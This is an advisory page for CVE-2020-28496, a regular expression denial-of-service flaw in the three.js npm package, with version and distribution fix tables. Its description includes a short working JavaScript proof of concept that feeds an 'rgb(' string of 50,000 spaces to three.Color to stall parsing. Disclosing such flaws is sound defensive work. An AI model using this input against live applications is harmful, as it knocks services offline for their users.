Skip to content
OpenAdvisories
High · 7.5 CVE-2020-28496 EUVD-2021-0655GHSA-fq6p-x6j3-cmmq

Regular Expression Denial of Service (ReDoS)

Published Feb 18, 2021 · Updated Sep 17, 2024 · Assigned by snyk

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Affected products

VendorProductAffectedFixed
— three unspecified – < 0.125.0 0.125.0

Fixed in Linux distributions

Distributions backport fixes, so the version that fixes this vulnerability differs per release — upgrade to at least the version shown. From the distributions' security trackers and advisories.

ReleasePackageFixed inAdvisory
Ubuntu 26.10 three.js No fix yet —
Ubuntu 26.04 LTS three.js No fix yet —
Ubuntu 25.10 three.js No fix yet —
Ubuntu 24.04 LTS three.js No fix yet —
Ubuntu 22.04 LTS three.js No fix yet —
Show 3 more (older releases, extended support, other products)
ReleasePackageFixed inAdvisory
Ubuntu 20.04 LTS three.js No fix yet —
Ubuntu 18.04 LTS three.js No fix yet —
Ubuntu 16.04 LTS three.js No fix yet —

Affected packages

EcosystemPackageAffectedFixedRecord
npm three < 0.125.0 0.125.0 GHSA-fq6p-x6j3-cmmq

References